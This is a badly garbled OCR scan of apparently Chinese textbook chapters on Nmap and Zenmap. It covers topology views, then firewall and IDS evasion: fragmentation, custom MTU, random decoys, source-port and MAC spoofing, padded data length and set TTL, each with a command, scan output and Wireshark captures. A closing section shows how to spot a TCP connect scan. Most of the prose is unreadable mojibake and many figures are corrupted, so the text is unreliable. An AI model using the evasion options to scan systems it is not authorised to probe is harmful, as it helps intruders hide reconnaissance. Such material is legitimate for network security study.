open
apen
open
open
open
open
open
open

135/tcp
139/tcp
+343/tcp open
445/tcp open
S63/tcp open
1825/tcp open
l1e26/tcp open
le29/tcp open
1838/tcp open
1831/tcp open

STATE SERVICE

ssh

smtp
nameserver
domain

http|

nntp

msrpc
nethios-ssn
https
microsoft-ds
Snews
NFS5-or-115
LSA-or-nterm
ms-lsa

iadl

iad2

VERSION

PR A R Z Ak

e L W VY

HiEA HiEs
21061118d11h37mxml |+ | |Qpen 20161118d11h18mxml | v | |Qpen|
@ FEeEe B HiEge

-Nmap 7.3@ scan initiated Fri Nov 18 11:37:09 2016 as: nmap 192.168.153.131 .

K

81



82 » EHZIE—Nmap WNELTEEITHERE

XAGER B R H IR A ) Z 4k, 43 0Med FHZL 5 R 2 5,387

5.7 Zenmap " ¥ GiE

AT, WREH traceroute fip2, FE “HWFN IR H0E B8 Nmap IF7E FHLS
Hir EHLZE R EEHEE, #lan, B 5-35 258 T Nmap Fr7E 005 A AR SS 28 2 (8] A 3

e fa ap
Fimia) TR ATEE)  AFDH)

B |www.baiducom |z] =

R | nmap --tracercute wwwbaidu.com

ERMEELE 1 EHL
L bogon [10.]1
o wosn. baidu 4
# ok
= 6
address 1;
I hostrname
oo 2250
_I_.-"""_""'-u‘_
-D"\ ........ .-"';-
oo 155
™
Lowsar ring gap E
it : Fisheye on ring E [} - - with irterest factor 3 and spread factor Eg

A 5-35 Nmap 7 U5 B RS 28 2 (6] i A B

IRABRAXR AR ER, TS “Whih” SEI KA EMAR “PRAFEER" -4,

W& 5-36 i

=]

Bi\E IRD EER SBEIH)
Bix El E&E: Intense scan

o] &) (e

#8<: nmap -T4 -A -v

L | BE | Nmepmu|mo/mn m | =] e

Mg« T < | [EEIHUEE Fisheye | BeEE|

|Legen |EHE¥|

K 5-36 RIFHHER



% 5% Nmap NEIFAREFLE—Zenmap « 83

SRIGVEBERTERN B, A 5-37 Fiass

MName:
Save in folder: ‘ Program Files (x86) ||Nmap ‘Create Folder
| Places 4 MName + Size Modified
“, Search = I~ licenses 2016/10/8 E8F~
& Recently Used [ ndiff 2016/8/29 ERF—
= Administratar v | | E2 NSE 2016/11/4 EREH
- " nselib 2016/11/4 B8R
REYARR: SERE v
‘ Cancel ‘ | Save |
: )

K 5-37 RPN E
filan, BEXASCHAR 4L R Ulpng, RIGRAFE] C 8T H) test SCFSerf, 4nf&l 5-38 Fis,

» HEH » FHEEER (C) » test

(B =N I8RO #=wEMH
B823FF >y HEY  gBOTR wE FEEEE

s : |

E* lll.png
A

K 5-38 fRAFEEHITEE

N

TEX—TH, RG> 1 Wi H BB A Zenmap #:4F Nmap, 3E /5 3l Zenmap
3. B Zenmap 3 . 7E Zenmap FHATHAFE WS A W EH Zenmap BIAC H .
W] % B Zenmap 45 R 5. X TIRZ 218 T EIEALBAERANTR DL, Zenmap ToEEE—1
IR . AN B SR ICHAE T AR EMYE, Bz 459 s IR 2 L #2278
Zenmap T, XIFAEWRE RIE ARG IX Zenmap ZEH Nmap B EFFI S . Z I PLXHEE
i, JEHEHR Zenmap MR EEGHEBATER, TERFKEENZE, Zenmap 7£ Windows
THEBETREEFAL, 2F SHIEILHEN., HITESLERN Y, EBERK B

Nmap,



CHAPTER

%65
06 Nmap BERIRASEHHEEE

AEEW U Nmap ) —2FRER, AT,

Q Wfarxt B S i, —HIRkE P22 2L k.
Q frf s Wireshark £l % 2% 1 1¥) Nmap F4

Q ekt H Nmap ) FVIERIERZ

Q G ORAF ISR

6.1 Nmap FDhZEHFA

TR 22 AN#BIAA Nmap H A Wiz 3 HE 0k 3k B 85 B0 0 Bk 9 IDS A9ZhEE, B ixX STy hE ]
e F iR . (B2 42T AU A4t rXTge, Kk Nmap 415X LT FE
A] DA B o 2878 7 5 45 2 4

Nmap AFRHERG T AN BT kb & IDS RGERY % 1] TREASI, [HEAFRAE 1A CHIH
Ro WRIFAEXTTHA RBHELK, IBA5H T HRESERA), Nmap 0] LUK,

TR/ 4 Nmap A 32 AR 59 R 58 B S8 4E 55 B A Qe T, H ek FE -f (IRSCa B
TR,

1. Nmap -f Btr

fdi ] -f eI AT DAXT Nmap & 325 BRI E 08 S 7 o0 B . iXFRRE IR F9 880 1053 B L3
41, BARRIZE ) B AL an Ak 8 L B KOS T RN X S B A A TR B B i AR AR T



£ 6% Nmap ISEZASHEHER K 85

MEXE 73 Sh AR X AT, — 3 H R GETEAL TR B AN 28 5 2 1 SIS ALY
TR
I PA— AN SR RS A AT I AR, AR TR

Nmap -f 10.16.39.8

Kl 6-1 25 T A B T 45 5

rc'_":-; Zenmap - . %}s e
HiE@) IRO) BEEP) #EBENH)
Btx [10.16.39.8 .| == | -] EE [m

#<: nmap -f 10.16.39.8

IWE Nmap$id | g&0/=H | B2 | THeeE | 5s
;:\

BEEE 4 =H) nmap -f 10.16.39.8 .| [mm|
®  bogon (101 55

Starting Nmap 7.48 ( https://nmap.org ) at 2017-03-087 14:49 2D1utéx?é
32

Warning: Packet fragmentation selected on a host other than Linux,
OpenBSD, FreeBSD, or NetBSD. This may or may not work.

Nmap scan report for bogon (18.16.39.8)

Host is up (@.88s latency).

All 18@@ scanned ports on bogon (16.16.39.8) are filtered
MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)

Nmap done: 1 IP address (1 host up) scanned in 23.81 seconds

B 6-1  fi B R Ao B AR E T4 4

&l 6-2 Hr 2l ] Wireshark JNEL 3815 H9 s, AT LAIE2EHLE 2 R B R L A 54
Fragmented IP protocol MIARTH o 13X — s 15 BH 33X SE R4 A AR J2 40 B i i 5C o

| | |
No. Time Source Destination Protocol ' Lengtl _lofg
5480 179.7008910C 192.168.153.128 10.16.39.8 IPv4 42 fFragmented IP protocol (p

(p
(p

5482 179.7009470( 192.168.153.128 10.16.39.8 IPv4 42 fFragmented IP protocol
5483 179.7009730( 192.168.153.128 10.16.39.8 IPv4 42 fFragmented I protocol
Fragmented I protocol
Fragmented I protocol

Fragnented 1P protocol

+ ETnernet 11, Src: viware_loiauilu \UuiuCiLYllgliauilu), UST: VMware _To.ac:le lUU::U::D:TD:aC:J.EJI

5485 179.7010070C 192.168.153.128 10.16.39.8 IPv4 42
5486 179.7010220( 192.168.153.128 10.16.39.8 IPv4 42

5488 179.7011860( 192.168.153.128 10.16.39.8 IPv4 42

+| Internet Protocol Version 4, Src: 192.168.153.128 (192.168.153.128), Dst: 10.16.39.8 (10.16.39.
+ Internet Control Message Protocol

K 6-2 kAR P A B



86 » EHZIE—Nmap NELTEEITHERE

T EE R MSE, WIS Nmap 7 Windows N T X MEIEEMTE, S HEE 6-3 Fiasi
— BN, FTARXAIIEELE Windows F A GE L IE® TAE,

nmap -f10.16.39.8 E

BRE

Starting Nmap 7.48 ( https://nmap.org ) at 2017-03-@87 15:45 ?D1i+&x2é&
22

Warning: Packet fragmentation selected on a host other than Linux,
OpenBSD, FreeBSD, or NetBSD. This may or may not work.

A 6-3 Windows N FH4rBiEdE AR H#R

2. -mtu ({EREEEN MTU)

i KA H B0 ( Maximum Transmission Unit, MTU) 25— @E{E M A H—2 F b
A I 1 B KB /N (AT AT ) o — Bk, DUKMIA MTU {HERIAE 1500 bytes,
XA U RAE M AR A TR Z M 1P JZ2 &3 T KEEN 2008 bytes MR SC, WIiZ 5L
FEGNIN 20 bytes B IP £k J5 1P AU A S BEJE 2028 bytes, KA 2028 KT 1500, Hitiz%idE
RS o #E Nmap H# I -—-mtu BRI AT LS MTU B K/, X E MTU B {22002
8 UK, T8 MTU B EIT .

Nmap --mtu & R

Bl 6-4 431 T MTU A 16 B3 a1 T AR 2 .

¥ Zenmap

Hid@ TAD EEER #oH)

Bt  10.16.39.8 El EE B mE| |

#%:  nmap --mtu 16 10.16.39.9]

lasth] 85 | | Nmopw |mnzn|ms | znme|ae

WEES ¢« =N nmap -f 10.16.39.8 A

- bogon (10.1 | Starting Nmap 6.47 ( http://nmap.org ) at 2017-03-07 15:28 (ST
Nmap scan report for 10.16.39.8
Host is up (0.0016s latency).
Not shown: 951 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1034/tcp open zincite-a
1433/tcp open ms=-sqgl-s
1434/tcp open ms-sql-m
2869 /tcp open icslap
6001/tcp open X11:1

] b

Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds

K 6-4 f#H MTU # 16 9EEA 737

[7) B ] Wireshark i 3% & 2% B A0 I & B 1, WIRAEIE A Data FEBKEE N
16bytes, HE 6-5 FiR




£ 6% Nmap NSRZASHEfER <« 87

] DU B R A 1AL R X MR B MU 1 16bytes

1 I [ | |
No. Time Source Destination Protocol ' Lengtl ' Info

1652 47.24043400( 192.168.153.128 10.16.39.8 IPv4 50 Fragmented IP protocol |[p|

1654 47.24082800( 192.168.153.128 10.16.39.8 IPv4 50 Fragmented IP protocol (p

| Frame 1654: S0 bytes on wire (400 bits), SO bytes captured (400 bits) on interface 0O
+ Ethernet II, Src: Vmware 18:a0:20 (00:0c:29:18:a0:20), Dst: Vmware f6:ac:le (00:50:56:f6:ac:le)
+ Internet Protocol Version 4, Src: 192.168.153.128 (192.168.153.128), Dst: 10.16.39.8 (10.16.39.

- Data (16 bytes)
Data: d21504df79b6e2a70000000060020400

Kl 6-5 [ Wireshark #5875 15 B0 B RO RCHE 23 K/

3. -D <decoyl [, decoy2][ , ME], ...> (EREETHERITHE)

TN, BARSE T ER, A RESHUR I . — A AT Wb A T ¥ 2 [ I Dl 2 DR Y
EALMHERS BAr AT XA BAR EVLRME &I T NIEESTHE, (HR2H THEEE
R HTZAEVL, R IDS t HEEANE B EAEZ 234, HEAME DA & EV7E
AT . X R E 5 1P BT EEEOR . Nmap B S FEE M EHL, 7,
fo FIe 20 -D K35 € H M EL, ALES o REAEH 1P #ilk, BrlH A CESE 1P /ENF
W, HER IP Hhik T LIS ME B850, ASRAESE 6 M0 & B )5 RO B {8 ] ME 180T, —4b
w0 Rk 28 (40 Solar Designer’s excellent scanlogd) ARG XAHEL IP, @0k
A ME 3, Nmap #f 55 1P e — A FEALAIN B

EE, TEAHES EVLHLE T TARSE, SUX KA 1 SYN K% d . 5
TR B/ NOIE, TREMZ S A —6 F0L A = 1T/E, BAakietRr=4 T 200%H, #8
TR R =L A FEHE

FEWI IR Y ping F148 (ICMP, SYN, ACK F5) BrBeall B IEF 8 H 34, LA R #RAE &
Gkl (-O) BrBeaf el LME A E EPLEI, (HR et T RAKE I 2 TCP e fmi), #H
FEALLIT R TCRLI

WA RZHBEEHESOFAR, RSB 8 HEE R AR .  6-6 hatim T ™
H 10 BT NS

X B [a]FEfs ] Wireshark STUBUR 2% H R OEE 6L, #ARBIMBEE LUK 6-7 Frs.

n] L& 2 Nmap Dy ¥ K& A E EVLN H s T35 .



88 » EMHZIR—Nmap RNELZEEIHIARBW

= Zenmap : @M ﬁ

HiE@ IAM EEP) HBEIH)

S5 | 10.16.39.8 E E= E F=r T
#%<: nmap -D RND:10 10.16.39.8
=l Es Nmapid | &0/ | #hit | ZHAE | B8
BEEE 1« 1, nmap -D RND:10 10.16.39.8 B i
[ e bogon (10.1 | Nmap scan report for bogon (19.16.39.8) - E

Host is up (@.83@8s latency).
Not shown: 998 filtered ports
|| PORT STATE SERVICE B
8a/tcp closed http

135/tcp open msrpc

139/tcp open netbios-ssn

|l 445/tcp open microsoft-ds

1834/tcp open zincite-a

1895/tcp open nicelink

1433/tcp open ms-sql-s

1434/tcp open ms-sql-m

I 2869/tcp open icslap

6001/tcp open X11:1

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)

m

Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds

B 6-6 (HHIEEXT HAREATHH

| Destination Protocol Lengtil Info

_____________________________ 1451151741800 | IDI63R - ICMP . 42 Feho [(pingl raguest  1d:
9 4,15978400Q 201.102.231.210 10.16.39.8 ICMP 42 Echo (ping) request 1d:
10 4.,15995100Q 112.201.133.185 10.16.39.8 ICMP 42 Echo (ping) request 1d:
11 4160129000 192.168.153.128 10.16.39.8 ICMP 42 Echo {ping] request 1d1
12 4.160293000] 30.86.152.116 10.16.39.8 ICMP 42 Echo (ping) request 1d;

13 4,160456000 219.165.170.235 10.16.39.8 ICMP 42 Echo (ping) request 1d;

A Erbha (m1ral ramae + 1 -

A4 AAENCAE E9 A 18 an 40 1€ AN 0

Frame 8: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface ©

Fthernet II, Src: Vmware_18:a30:20 (00:0c:29:18:a0:20), Dst: Vmware_f6:ac:le {BB:EG:EE:fﬁ:a::ll
Internet Protocol Version 4, Src: 145.115.174.180 (145.115.174.180), Dst: 10.16.39.8 (10.16.3
Internet Control Message Protocol

K 6-7 {di [ Wireshark fili R /5 HEHE L

4. --source-port <portnumber>; -g <portnumber> (JRimCIEGRE )

W 28 2 x4 il A — R IRl #E i 5 R BOR, XFP R EZJRAKEE TP Mok R 1 > X2
P AT BRI, B a0 B a0 SR 7 ZARE DNS 1 FTP PhSGE R TAE, & %] DNS ik B
T 53w, FTP E#KH T 20w, REHFEHASIL T TR, 18w S5
VPR B T iX Lo AR FEA R 45 A ATTA X Honm 1 B &7 {150 5 59 20 A i
I XML — AR BB MG AR EH T — MR SRAMULEFT T2
FhegiR, ABF—EE i r=misint, #i Windows XP AL 11 IPsec 1 EAF AL SE T
F VT K H 88 i (Kerberos) AJ TCP 1 UDP 303 A BRIAREIN . 5408 2+ 43 3 44 19



£ 6% Nmap NSRZASHEfERE <« 89

Zone Alarm > A Bjj k55 5 2.1.25 MUAATE AR /217 UG H 24 53 (DNS) 1% 67 (DHCP) f#) UDP
it

Nmap #2141t | -g Fl --source-port 72 (EfTE2AHER), HFFHERS S, REEAE—
ANk B bk AL ] a5t s B s D5, Nmap B80T RUGX N 0 & 3% 508E . K#84r TCP A1 UDP
AR 56 42 SRR BE BRI

&l 6-8 HRr4 fi A IR 11 45 2 4 8888,

e

<& Zenmap = | [ e
HiEE) ITRO EEE) #EaH)
= | -
Btx |10.16.39.8 v | BE v [EHEJ \H:té—
#%: | nmap -g 8888 [10.16.39.8
LSl B5 | | Nmepmi | s0/zn | | Tnea| o
BEEE « 6 nmap -D RND:10 10.16.39.8 ol =
L bogon (10.1 | Nmap scan report for bogon (1@.16.39.8) -
Host is up (@.83@s latency).
Mot shown: 998 filtered ports
i PORT STATE SERVICE (T
! B0/tcp closed http
| 135/tcp open msrpc
i 139/tcp open netbios-ssn
1 445/tcp open microsoft-ds
| 1834 /tcp open zincite-a
. 1895/tcp open nicelink
| 1433 /tcp open ms-sgql-5s =
1434/tcp open ms-sgl-m
2869/tcp open icslap
6001/tcp open X11:1
MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)
i 4 4 Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds L3
—_—

K 6-8 7F Zenmap "8 & 5 1 I 4w

[AI R A Wireshark JUEUACER H L OB AL, IREIHORIE R an & 6-9 itz , ] LATE
“Source port” FECRAEFE PHin .

MNo. Time Source Destination I PnﬂocollLengﬂllnfo l
37 20.08481200( 192.168.153.128 10.16.39.8 TCP 54 ddi-tcp-1 > http [ACK] Se
192.168.153.128 TCP 60 http = ddi-tep-1 [RST] S

41 20.08533800( 192.168.153.128 10.16.39.8 ICMP 54 Timestamp request 1d=0
73 33.08714900( 192.168.153.128 10.16.39.8 TCP 58 ddi-tecp-1 = ftp [SYN] Seq

i e

+ Frame 73: 5B bytes on wire (464 bits), 58 bytes captured (464 bits) on interface O

+ Ethernet II, Src: Vmware 18:a0:20 (00:0c:29:18:a0:20), Dst: Vmware f6:ac:le (00:50:56:fT6:ac:le)

+ Internet Protocol Version 4, Src: 192.168.153.128 (192.168.153.128), Dst: 10.16.39.8 (10.16.39.
=

Source port: ddi-tcp-1 (8888

E 6-9 i FH Wireshark FiZRAY U5 5 1 A7 8888 HIALE AL
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X B R A ) TCP B4 148 M\ 8888 i I & 1% .
5. --data-length <number> (&iEIRICETHIINFENEGE )

AOATEOL T, Nmap &6 B SCH R &L, WA/, B TCP Bl fd K
/N 40 55, T ICMP ECHO 53K KA 28 7o X FF A 23 B i SCAR 2 2 B H A I 445
RAIL G T A B, DR e A R e 3 2 s ) 2% X R ATL A B, T ATl . B i e %
HABEVLFTY, XRS5 RE 0 ping Fldwm H w2818, HEFWIHFAKR, K 6-10 H

Bt “--data-length” F5EN 25,

HAii(a) TRAD BEP) FEEIH)

¥ ': = k. —
B Zorman : L= =

Btx 10.16.39.8 > | E&E .

#%: | nmap --data-length 25 10.16.39.9

|t =5 Nmaptith | s0/=:4 | #h | 41884 | i

|,| eSS 4 H) nmap --data-length 25 10.16.39.8

]

L bogon (10.1 | Nmap scan report for bogon (10.16.39.8)
Host is up (©.88095s latency).

Not shown: 990 filtered ports

PORT STATE SERVICE

B@/tcp open http

k 135/tcp open msrpc

é 139/tcp open netbios-ssn

i 445/tecp open microsoft-ds

1034 /tcp open zincite-a

1095/tcp open nicelink

1433/tcp open ms-sql-s

1434/tcp open ms-sql-m

2869/tcp open dicslap

6081/tcp open X11:1

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)

Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds

A 6-10 7F Zenmap H 48 EZHEAL data TR JE N 25
R RE{E A Wireshark #IUBU&R 3% H 208, WA 6-11 Fims,

Mao. ! Time ! Source ! Deacstination ! Protocol ! Lengtl ! Info

495 17.53690800( 192.168.153.128 10.16.39.8 83 44724 > optima-vnet [SYN]

Checksum: 0x06d3 [validation disabled]
= Options: (4 bytes), Maximum segment size
Maximum segment size: 1460 byzes
+ [SEQ/ACK analysis
— Data (25 bytes)
Data: 893eeec5S7920002058a2b084645c6008e5ebAf 6477823133, ..

[Length: 25]

& 6-11 {diH Wireshark #7F A& £ 5 data ¥4 K E
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6. --ttl <value> (iZE& IP time-to-live i)
Nmap H A] DLt & IPv4 Z095ELH) time-to-live BN 18 € AIH, 18ERISEN -ttl. Kl 6-12
g T —AM8E T TTL AT

{¢E>Zenwmp
HiE@ IARM BKEE) #EEH)

Stx | 10.16.39.8 v EE ”

< nmap --ttl 25 10.16.39.8

- B ] Nmap®id &00/=4 | 353 | RS | B

Sz « TH, nmap --ttl 25 10.16.39.8 =l &

b bogon (10.1 | Nmap scan report for bogon (1€.16.39.8) -
Host is up (@.8815s latency).
Mot shown: 998 filtered ports
PORT STATE SERVICE 3
| BO/tcp open http

135/tcp open msrpc

| 139/tcp open netbios-ssn
445/tcp open microsoft-ds
I 1034/tcp open zincite-a

1095/tcp open nicelink

1433/tcp open ms-sgl-s

1434 /tcp open ms-sgl-m

2869/tcp open 1icslap

6081 /tcp open X11:1

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)

m

‘| L 8 Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds

&l 6-12 7E Zenmap F35E TTL {H
[F)BE{sE H Wireshark $IUBUA %6 S 08 L, WE 6-13 Frw,

. I ! ) ) | |
MNeo. Time | Source Destination Protocol Lengtl Info

298 65.45328600( 192.168.153.128 10.16.39.8 58 54282 > neto-dcs [SYN] Se

+ Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable
Total Length: 44
Identification: 0x35d3 (13779)

+ Flags: 0x00

6-13  fififH Wireshark #r & & A EHE A TTL #H5AME

7. --spoof-mac <mac address , prefix , or vendor name> ( MAC bRz )
1 XA ] LA 96 € Nmap £E #0177 3398 TAER &% UK A MAC Hidk, X4
VeI B & #uff FH T --send-eth T, X#E Nmap XXM A ZEIEMLLUKMAL, HH Nmap 3%
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F2migX, WRFAME /S “0”7, Nmap EFE—NEL2BEVLAK MAC #ilik, R4
E PR —MMER S 0 W e SR %, Nmap B X MAC Hoht, 2R 2E/NF
12 B AHERI BT, Nmap 2FEHUIERE TR 6 NF 17, WRSHORRE 0 sl #4558,
Nmap #4i# i3 Nmap-mac-prefixes fr$8) BRI (Ko /NE), MR EFB|VLEL, Nmap ¥{#
FAT RIAY OUL (3 Fmid), SREMVEFAERIRE 3 M5, P4 7L IERIR) --spoof-
mac Z%(: Apple. 0. 01:02:03:04:05:06. deadbeefcafe. 0020F2 F Cisco.

& 6-14 25 H T Hhis MAC itk Bk

F . g i |
= Zenmap et i gy & (=] )

e g e -

OiE@) IR0 BEEER) #HBEH)

Hix: 10.16.39.8 >| = -] [Em] (=

#8<: nmap -sn -PR --spoof-mac 0 10.16.39.8

; bl BE | | Nmep@ |mmy= | s | oead | s

BEERE « TF, nmap -sn -PR --spoof-mac 0 10.16.39.8 v
' o bogon (10.1

-

Starting Nmap 7.4 ( https://nmap.org ) at 2017-03-08 12:04 2D10+éx2E

+2?

Spoofing MAC address (il HrHLH% 8 (No registered vendor)
Nmap scan report for bogon (1€.16.39.8)

Host is up (@.6@l1es latency).

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific
Industrial)

i Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds

K 6-14 TE Zenmap 1 FI{hi& ) MAC Hitk#E 7+
G FE(E FH Wireshark $IUBUR 26 A REER AL, 2| E 3R A 6-15 Fis.

Ha. Time Sourca Destination Frotocel Length Info -

. 74 8,943991 Hangzhou_53:fa:d@ Universa_3c:59:11 ARP 60 10.16.39.254 is at 00:23:89:53:fa:do
382 3.397588 Universa_24:Be:f7/ Broadcast ARP 60 Who has 108.16.39.285? Tell 19.16.39...
773 4.611968 Universa_0@:d1:5f Broadcast ARP 60 Who has 10.16.39.236? Tell 10.16.39...
1300 8.748639 Tp-LinkT_d8:4f:e3 Broadcast ARP 60 Who has 10.16.39.253? Tell 10.16.39...
1396 9.439263 bB:d9:24:62:fb:cd Broadcast ARP 42 Who has 10.16.39.82 Tell 10.16.39.44. -

> Frame 1396: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @

> |[Ethernet II,JSrc: b@:d9:24:62:fb:c4 (b0:d9:24:62:fb:cd), IDst: Broadcast (ff:ff:ff:ff:ff:ff)

> [Duplicate IP address detected tor 2 :24:62:fb:c4) - also in use by fc:4d:d4:3c:59:11 (frame 74)]
> Address Resolution Protocol (request)

L
o el .

A 6-15 i [ Wireshark £5F & £ 5850 MAC HihkAO{E
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6.2 TCP Connect F14 A

BATE eI AR 46 AT &2 Nmap & Hi () TCP Connect JERUHHHH . A X —Ffr
B NIRRT, Nmap [n]—/N RS O &R TEEER, HFHZERT =ZKIEF, Z
JEEEWR T X ER ., XFEABREZ AN E], HH Nmap & m&—A B 0 &% —
SYN #¥ada, wnifizsm H2EKME, Hir&RE -1 E T RST fl ACK R .
Wiz 02, HiaSEE —NEE T SYN/ACK b & R, SR)5 Nmap &K
E—MRE T ACK RGBSR SN = KET, X MRS KRN IREE

XEETH B HC R T oK

TTAEFEDL (192.168.153.128 ) X HARFEML 10.16.39.44 &5 —IK TCP Connect ZERY[H

L

Nmap -sT 10.16.39.44

[FIHHE BAR ML (10.16.39.44) {8 Wireshark Y4798, 8200015 BANE 6-16 Fis.

XD FREO WEY BRG BRO AR GO A0 FEW TRD HEH)

AdE 2@ JRREBRe>=x2F IEEQAQAQE

N ERATTHES ~ Cul/>

Ho. Time Source Destiination Frotocol Length Info

E 9552 168.143772 1.191.13.245 18.16.39.44 UDP 89 17615 - 2902 Len=47
I 9853 168.148522 113.195.78. 185 18.16.39.44 uop 88 53841 - 9989 Len=l6
9854 168.234761 1.191.13.245 18.16.39.44 uDpP 88 17615 + 9989 Len=46

9855 168.226147 18.16.39.44 192.168.153.128 £ 54 1141 - 53887 [RST, ACK] Seg=1 Ack=1 Win=6424¢ Len=8@
9856 168.226148 18.16.39.44 192.168.153.128 C 54 1875 -+ 59591 [R5T, ACK] Seg=1 Ack=1 Win=64248 Len=#
9857 1e8. 226148 18.16.39.44 194.168.153.128 - 54 1192 » 53274 [R5T, ACK] Seg=1 Ack=1 Win=B4248 Len=8
9B58 168.226148 18.16.29.44 192.168.153.128 C 54 4443 -~ 52583 [R5T, ACK] Seg-1 Ack-1 Win-64248 Len-£
GR5O 166226149 168.16.39 .44 192 _168_153 128 C 54 1862 - A3BT79 [RST, ACK] Seg=1 Ack=1 Win=64248 Len=#

192.168.153.128 18.16.35%.44 Ccp 74 [TCP Retransmission] 45736 -+ 44581 [SYN] Seq=0 Win=29200 Ler

986 177 192.168.153.128 168.16.39.44 CP 74 [TCP Retransmission] 35468 - 211 [SYN] Seq=0 Win=2920@ Len=f
9863 168. 228679 18.16.39.44 192.168.153.128 C 54 381 - 46537 [RST, ALh] Sﬂq—l Ack=1 Win=64248 Len=8
OB64 168.228679 18.16.29.44 192.168.153.128 C 54 14581 - A5736 [RST, ACK] Seq=1 Ack=1 Win=64248 Len=0

L 9865 160.233646 18.16.39.44 192.168.153.128 C 54 417 » 33271 [RST, ACK] Seg=1 Ack=1 Win=64248 Len=0

4 | i

Kl 6-16 fidi ] Wireshark #5& 10.16.39.44 % 25 FE i Bt fu

MXH A PIF L, FEXBBEH A KERF TCP Connect 153 H P, FHC b, N2 ah
Xof K& TCP ¥ 1 & EERAR AT REE MR E A N EFEXHRE EVLHE T HE . R HIE T
265 AN AZ R 88, — e B[R] B N 2l A BN i T 15 B B S 1

B oA SR Mg 5 IR R 2 T A, anE 6-17 Fron i T #AE

SRIGIESE T O ik 1PV4, Bad: Packets FB BEATHEF , Bl &k R £ L3k
Xk, &l 6-18 Fras.

WIEE 6-18 FY BN, 192.168.153.128 76X —BtHf R A 12 T K EMEIER, BREL
2 T ML B B IRk . I RBER— T 192.168.153.128 73X B i [RIAR A5 17 TR L6 ]
AT R XA 1P Mk AR A g4, lE 6-19 B,
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» EHZIE—Nmap BT EHIHIAREM

M 5 interfaces o Mt Sl L e
THHF) WEE) WEW) BESG) BRO) SR EEIE(Y)  TTEEW)

Adn 2@ JRRAE Qe>2=2F 8 BETHEE

N EASdEE — Cul/> SRiTasEit
Ho. Time Source HMUSER(P)
9847 160.224171 18.16. TS
9848 1668.224172 18.16. ==
- oHEEE
9850 1e0.024703 1.191.13 /O BE=m
9851 160.087864 1.191.13 BB RREE b

9852 160.143772 1.191.13
9853 160.148522 113.195. DHCP (BOOTP) Statistics

9854 160.234761 1.191.13 ONC-RPC Programs
9855 160.226147 .39 29West b
9856 160.226148 - 39 T
9857 160.226148 S -
9858 160.226148 o
9859 160.226149 -
S —— TR TR Y T—" T
. : HART-IP
> Frame 9861: 74 bytes on wire (592 bits) HPEEEDS
- Ethernet II, Src: Vmware_18:20:20 (00:€ HTTP :
> Internet Protocol Version 4, Src: 192.1
> Transmission Control Protocol, Src Port iy
Sametime
TCP B 4
UDP 555
IPv4 Statistics 4
IPv6 Statistics 4

6-17 #E Wireshark T fi 451+ 2h g

! Wirechark - Endpoirts - wireshark_5_interfaces_20161111130838 al4164 I. =aE= &J
IPwt + 44 | Ethernet - 31 | IPsb « 7 | TCF - 2081 | VIP 306 |
Address F’acI:c:ets Bytes Packets A —+ B Bytes A— B Packets B —A Bytes B — A Latitude Lo *
10153044 1877 F97k 1195 Gak AA3] 62k .
192.168153.128 2,151 208 k 1952 142 k 11049 B ke -
-m P J.BJ.U' J.lnﬂ .9 w -
121.22.182.117 301 46k a01 45 k ] 0-
101.25.73.13 260 24k 269 24 k 4] 0 - =
10.16.39.23 333 355k 333 33 k o 0 -
119.108.225.101 38 32k 348 2k ] 0-
10.16.29.8 21z 27 k 31z 27 k 0] 0.
113.193.78.105 296 27k 296 2T k o -
110.241.37.5 217 20k 217 20k o 0 - 3
101.17.24.15 207 10k 207 19 | 1] 0.
224002352 201 14k o L] 201 14 k
192.168.153.235 174 16k 1] 1] 174 16k
192.168.153.1 174 16k 174 15 k 1] 0.
192.168.116.235 174 16k o o 174 16k -
192.168.116.1 174 16k 174 16 k o 0 -
| || 192.15856.255 174 16k 0 o 174 16 ke -
192.168.56.1 174 16k 174 15 k 0] 0 -
1.191.13.245 163 15k 163 15 k ] 0-
10.16.20.255 160 14k ] L] 160 14 ke -
119.188.39.11 154 14k 154 14 k [i] 0 -
1200417738 79 7451 79 7461 o 0 - - |=
{ | i [ F
[ EAR =t [T Rt EEmlR s Endpaint #8)
| B || e || close | Hap |

K 6-18 #F Wireshark P& A M ERZ M EHL



$£6E Nmap ISEEASHiERERE <«

M Wireshark - Endpoints - wireshark_5_interfaces_20161111130838_a14164 o | 5 S
IPvd + 44 | Ethernet - 31 | IPv8 - 7 | TCP - 2081 | UDP - 306 |
Address Pacqlt:ets. Bytes Packets A—B BytesA— B PacketsB—+A BytesB— A Latitud *
10.16.30.44 7,877 697 k 1196 64 k 6681 632 k -
192.168.153.12 S — — . 1199 64 k - =
—_— ] ™ b
101.23.63.185 PSR 5 &7 0 0-
12122182117 ‘el JEEF 0 0-
101.25.73.13 = 4 ..and Selected 0 0-
10.16.39.23 £2 » .or Selected 0 0-
119108225101 348 32k _and not Selected 0 0- |
10.16.39.8 313 27k o not Selcted 0 0- I
113,195.78.105 296 27k = 0 0-
110.241.37.5 217 20k 217 20k 0 0-
101.17.34.15 207 19k 207 19 k 0 0- l
224.0.0.252 201 14k 0 0 201 14k -
192.168.56.1 174 16k 174 16 k 0 0-
107 158 §K 785 174 1A b n n 174 1A Lk . 2
1| [} b

] R 2 | SRS [Endpoint 238 |
[ &6 -] M [ Close ][ ey |
== = e =

& 6-19 ¥F 192.168.153.128 XA~ IP Huhl-5 & Fyad ik &
s AR AL I 6-20 Fras .

HBY PG RO HHB) SHe BEY FEWw IS0 #8E)
I mMREQexs=TFiEEaaasl

8. 153. 126

Time Source Destination Frotocol Lengt
3171 94.534582 192.168.153.128 16.16.39.4¢ C 51 48010 - 445 [RS]
